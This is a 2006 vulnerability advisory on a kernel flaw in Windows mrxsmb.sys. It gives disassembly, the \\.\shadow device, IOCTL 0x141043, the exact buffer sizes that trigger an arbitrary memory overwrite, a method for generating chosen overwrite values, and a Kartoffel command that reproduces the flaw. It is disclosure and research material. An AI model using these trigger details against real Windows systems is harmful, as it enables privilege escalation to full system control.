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Abstract

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CopyChunk Overflow

Microsoft Mrxsmbs.sys does not verify properly user-mode buffers allowing  
to overwrite, with  
controlled values, any desired memory address.

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### 1.INTRODUCTION

"Client Side Caching" briefly

" Client Side Caching" aka " Offline Files" provides to Windows 2000 and Windows XP  
(Windows Vista?) the proper infrastructure which facilitates a seamless operation across  
connectivity states between client and remote server.

It is employed to safeguard the user and the client applications across connectivity  
interruptions ,bandwidth changes, etc. This is accomplished in part by caching the desirable  
file

or files together with the appropriate protocol information to a local data store. It is  
located in  
the hidden " %systemroot%\csc" directory . In addition, access rights and share access  
rights are  
also cached.

Cut and paste from Windows XP Resource online :

" The CSC directory contains all offline files that are requested by any user on the  
computer.

The database mimics the network resource while it is offline so that files are accessed as  
though

the network resource is still available. File permissions and system permissions on the  
files are

preserved. For example, a Microsoft® Word document created by Bob, given a password, and  
saved to a share on which only Bob has Full Control, cannot be opened from the CSC directory  
by Alice, because she has neither the share permissions to open the file nor the password  
required to open the file in Microsoft Word. You can also maintain the security of sensitive  
files by using Encrypting File System (EFS) to encrypt the Offline Files cache."

### 2.CSCDLL.DLL AND MRXSMB.SYS

The CSC infrastructure comprises user-mode components. One of them is the undocumented  
system dll, cscdll.dll.

It exports synchronization functions, online/offline states,offline store, file handling,  
cache  
operations,etc.

For example, Cscdll.dll is used by Windows Media Player or Internet Explorer . When the user  
is trying to access to a remote share file or share directory content, the CSC mechanism is  
activated.

Cscdll.dll is not alone, there is a driver waiting it... mrxsmbs.sys.

Mrxsmbs.sys is the Microsoft Server Message Block Redirector Driver. According to Microsoft  
Installable File System Documentation, the basic software components required as part of a  
Network Redirector are:

□ A kernel-mode file system device driver (SYS) that provides the network redirector  
functions.

□ A user-mode dynamic link library (DLL) that provides access for client user-applications  
to the Network Provider interface for non-file operations and enables communication  
with the kernel-mode file system driver providing the network redirector functions.  
The user-mode component is easily identified, as well as its associated kernel-mode  
component

, mrxsmbs.sys. It does not mean that mrxsmbs.sys only "serves" to cscdll.dll although we will  
focus on that communication.

Sometimes, there is a service between the dll and the driver which acts as "intermediary",



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.text:770A9D7B call ds:DeviceIoControl
.text:770A9D81 test edi, edi
.text:770A9D83 mov ebx, eax
.text:770A9D85 jz short loc_770A9D8D
.text:770A9D87 push esi ; hObject
cscdll.dll
What about the device?... CreateFileA help us.
.text:770AA9A6 push 0 ; hTemplateFile
.text:770AA9A8 push [esp+4+dwFlagsAndAttributes] ; dwFlagsAndAttributes
.text:770AA9AC push 3 ; dwCreationDisposition
.text:770AA9AE push 0 ; lpSecurityAttributes
.text:770AA9B0 push 3 ; dwShareMode
.text:770AA9B2 push 20h ; dwDesiredAccess
.text:770AA9B4 push offset a_Shadow ; "\\.\shadow" ; Nice device name.
.text:770AA9B9 call ds:CreateFileA
cscdll.dll
RING0
mrx smb.sys handling our request....
Firstly...
PAGE:00060AC2 cmp [esp+arg_4], 141043h ;Our "Magic" IOCTL
PAGE:00060ACA mov eax, [esp+arg_0] ;
PAGE:00060ACE jnz short loc_60B12
PAGE:00060AD0 mov ecx, [eax+0FCh]
PAGE:00060AD6 mov eax, [eax+0F8h] ;Input Buffer length
PAGE:00060ADC dec eax ;'\0' out!
PAGE:00060ADD cmp eax, 288h ;Max length
PAGE:00060AE2 ja short loc_60AEF ;Bad, Bad, Bad...
PAGE:00060AE4 push eax ; Length
PAGE:00060AE5 push ecx ; Address
PAGE:00060AE6 call sub_3B45C ;ProbeForWrite & ProbeForRead check [Inbuff]
mrx smb.sys
Finally...
PAGE:00064CA4 mov [ebp+ObjectAttributes.ObjectName], eax ;Very important!
PAGE:00064CA7 pop ecx
PAGE:00064CA8 xor eax, eax
PAGE:00064CAA lea edi, [ebp+EaBuffer]
PAGE:00064CAD rep stosd
PAGE:00064CAF and [ebp+var_54], al
PAGE:00064CB2 mov eax, [ebp+var_8]
PAGE:00064CB5 add ebx, 0Ch
PAGE:00064CB8 xor edx, edx
PAGE:00064CBA mov word ptr [ebp+var_14+2], bx
PAGE:00064CBE mov word ptr [ebp+var_14], bx
PAGE:00064CC2 mov [ebp+ObjectAttributes.Length], 18h ; 18h==OutBufferSize
PAGE:00064CC9 mov [ebp+ObjectAttributes.RootDirectory], edx
PAGE:00064CCC mov [ebp+ObjectAttributes.Attributes], 40h
PAGE:00064CD3 mov [ebp+ObjectAttributes.SecurityDescriptor], edx
PAGE:00064CD6 mov [ebp+ObjectAttributes.SecurityQualityOfService], edx
PAGE:00064CD9 mov [ebp+EaBuffer], edx
PAGE:00064CDC mov [ebp+var_53], 15h
PAGE:00064CE0 mov [ebp+var_52], 4
PAGE:00064CE6 test byte ptr [eax], 1
PAGE:00064CE9 jz short loc_64CF2
PAGE:00064CEB mov [ebp+var_38], 1
PAGE:00064CF2
PAGE:00064CF2 loc_64CF2: ; CODE XREF: sub_64B98+151#j
PAGE:00064CF2 push 5
PAGE:00064CF4 lea eax, [ebp+EaBuffer]
PAGE:00064CF7 pop ecx
PAGE:00064CF8 mov esi, offset aRxcscscopychu_0 ; "$RxCscCopyChunkOpen$"
PAGE:00064CFD push 24h ; EaLength
PAGE:00064CFF push eax ; EaBuffer
PAGE:00064D00 push 68h ; CreateOptions
PAGE:00064D02 push 1 ; CreateDisposition
PAGE:00064D04 push 7 ; ShareAccess
PAGE:00064D06 push 80h ; FileAttributes
PAGE:00064D0B lea eax, [ebp+IoStatusBlock]
PAGE:00064D0E push edx ; AllocationSize
PAGE:00064D0F push eax ; IoStatusBlock
PAGE:00064D10 lea eax, [ebp+ObjectAttributes]
PAGE:00064D13 push eax ; ObjectAttributes
PAGE:00064D14 push 100080h ; DesiredAccess
PAGE:00064D19 push [ebp+FileHandle] ; FileHandle ;FileHandle==OutBuffer+0xC
PAGE:00064D1C lea edi, [ebp+var_50]
PAGE:00064D1F rep movsd
PAGE:00064D21 call ds:ZwCreateFile ; if(ZwCreateFile) Overwrite();
mrx smb.sys
Cscdll.dll is requesting to mrx smb.sys a handle to a file. The mrx smb.sys routine which
handles
this IOCTL, trusts the caller. Error. Unfortunately, the world is not perfect, there are Bush
people, oops!, bad people I mean.
PAGE:00064D19 push [ebp+FileHandle] ; FileHandle ;FileHandle==OutBuffer+0xC
ProbeForWrite had avoided headaches
Checking for max length (288h)...
PAGE:00060AD6 mov eax, [eax+0F8h] ;Input Buffer Length
PAGE:00060ADC dec eax ;len-1
PAGE:00060ADD cmp eax, 288h ;Max length
PAGE:00060AE2 ja short loc_60AEF ;Bad, Bad, Bad...
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mrxsmb.sys
Nevertheless, ZwCreateFile is still returning -1 and we should generate valid handle values.
Tip
ZwCreateFile returns a handle to the own caller if ObjectName is equal to NULL.
So...pretty simple:
InputBuffer filled with zeroes
+ InputBufferSize = 2 PAGE:00060ADC dec eax ; 2-1 = 1

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ObjectAttributes.ObjectName==NULL
PAGE:00064CA4 mov [ebp+ObjectAttributes.ObjectName], eax; eax==NULL
mrxsmb.sys
This structure is passed to ZwCreateFile, thus it will always return a handle to the own
caller
so the memory address pointed by OutBuffer+0xC will be overwritten with this value.
It seems that mrxsmb.sys is filling a pseudo-OBJECT_ATTRIBUTES structure in user-mode, I
guess that it is performed in order to speed up file operations.
SHADOW DEVICE
“What about “\\.\shadow” device?” “It’s really obscure ,isn’t it?” “What the f**** is this?”
perhaps questions like these are in your mind at this moment.
Shadow Devices are usually implemented to deal with reentrancy issues during
IRP_MJ_CREATE operations. It builds a “second device path” in the driver,
(\\Device\LanmanRedirector is the one of the main devices). This is the goal of the Shadow
device in this case.
PAGE:000429DF push offset a??Shadow ; “\\??\\Shadow”
PAGE:000429E4 lea eax, [ebp+SymbolicLinkName]
PAGE:000429E7 push eax ; DestinationString
PAGE:000429E8 mov esi, ds:RtlInitUnicodeString
PAGE:000429EE call esi ; RtlInitUnicodeString
PAGE:000429F0 lea eax, [ebp+SymbolicLinkName]
PAGE:000429F3 push eax ; SymbolicLinkName
PAGE:000429F4 call ds:IoDeleteSymbolicLink
PAGE:000429FA push [ebp+DeviceName] ; DeviceName
PAGE:000429FD lea eax, [ebp+SymbolicLinkName]
PAGE:00042A00 push eax ; SymbolicLinkName
PAGE:00042A01 call ds:IoCreateSymbolicLink
mrxsmb.sys
The Shadow device is the device used by the CSC components. Every action performed by CSC
has assigned this device.
GENERATING VALUES
One of the most important characteristic of this vulnerability is the possibility to generate
highly customizables values.
The value of the handle grows toward higher or lower values, this behaviour could be modeled
using a simple linear equation:
y= ax +/- b y= ax +/- b
where
y=Desired/obtained value
b=First handle obtained.
x=Number of Calls needed/executed
a=sizeof(HANDLE)
If we call successively DeviceIoControl in the way we have previously exposed, we will
generate any value with the condition of being a multiple of sizeof(HANDLE) and limited by
the max number of handles permitted by Windows.
Important
Handles are process specific
4.LAST WORDS
The succesful exploitation of this vulnerability (trivial) could allow to an attacker to
take full
control over the system. Any logged user can access to the Shadow device so the privilege
escalation severity is from unprivileged to the maximum level of privilege.
5.TESTING WITH Kartoffel
Kartoffel is an Open Source (GPL) Driver Verification Tool that I have developed.
Using Kartoffel you can test this vulnerability quickly.
1.Load Kartoffel Driver- i.e
> kartoffel -q c:\windows\system32\Drivers\Kartoffeldriver.sys
2.Query Device
> kartoffel -s \\.\Shadow -n 0x10 -o 0x10 -z 0x2 -Z 0x18 -I 141043 -v
Output - Added amazing FX ;)
Input Size:[0x0002]
Ouput Size:[0x0018]
IOCTL:[0x00141043] -> Response received [IOM notified]
[ RESULTS ]
Test ID [ 0x0001 ] -----
[ FUZZING ]
- Input Buffer Size: (0x0002) Method: "" Submethod: ""
- Output Buffer Size: (0x0018) Method: "" Submethod: ""
- IOCTL [ 0x00141043 ]
=> DEVICE: FILE_DEVICE_NETWORK_FILE_SYSTEM
=> ACCESS: ANY ACCESS
=> FUNCTION: 0x0410
=> METHOD: METHOD_NEITHER
[ FLAW ]
- RING 0 ACCESS - // Flaw Identified
[ BUFFERS ]
Response Received [OUTPUT BUFFER]
[0x000]: 00000000 00000000 00000000 000007D4 // The handle previously explained.
Original Data [OUTPUT BUFFER]
[0x000]: 00000000 00000000 00000000 00000000
Original Data [INPUT BUFFER]

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[0x000]: 00000000 00000000 00000000 00000000
Kartoffel is available for download at www.reversemode.com
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<http://www.reversemode.com/index.php?option=com_remository&Itemid=2&f
unc=select&id
=> June 8, 2006
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.2 (MingW32)
mQGibEOLXR8RBAC+CP5OBdAnccP6H3Sy9YwPDA2AUJ6d0tTfYWQVWNlKcbF12tQp
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p6UAoILzgf6ktJwUchyuXwUEZzhMNqEL
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